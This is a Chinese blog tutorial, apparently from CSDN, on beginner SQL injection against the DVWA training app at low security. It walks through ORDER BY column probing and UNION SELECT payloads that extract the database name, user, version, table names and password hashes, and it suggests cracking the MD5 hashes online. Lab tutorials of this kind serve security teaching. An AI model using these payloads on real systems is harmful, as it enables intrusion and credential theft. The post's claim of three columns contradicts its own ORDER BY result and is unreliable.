SQL 注入基础系列1——猜解数据库

DVWA.security=low.SQL Injection

后台查询语句:

//后台查询Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '$id';

//当user_id输入1时,实际执行的Sql语句是
SELECT first_name, last_name FROM users WHERE user_id = '1';

1、确定数据表列数——1' order by 1# 

//Mysql语法中,#后面的内容会被注释掉
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#;

“order by 1” 指将第一列的数据按升序排列。

order by 1和order by 2都能正常返回数据,当“1' order by 3#”时,返回报错信息:

由此可知,该数据表只有3列。

2、联合查询,获取数据库信息——union select

使用 union 查询时,union左右两侧的查询语句的列数要相同,否则会出错。

  • 获取数据库名称、当前用户 
// 1' union select database(),user()#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;

  • 获取数据库版本、当前操作系统信息 
//1' union select version(),@@version_compile_os#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

  • 获取dvwa数据库中的表名
//1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#`;

可知,dvwa 数据库有两个数据表,分别是 guestbook 和 users 。

  • 获取用户名、密码——大胆猜测user表的用户名、密码字段分别为:username和password
//1' union select user,password from users#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select username,password from users#`;

哎呀,猜错了~~,可是这个报错信息很给力啊

继续,大胆猜测user表的用户名字段为:user

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

成功爆出用户名、密码。密码采用 md5 进行加密,可以到www.cmd5.com进行解密。

猜你喜欢

转载自blog.csdn.net/weixin_37537965/article/details/85247991
今日推荐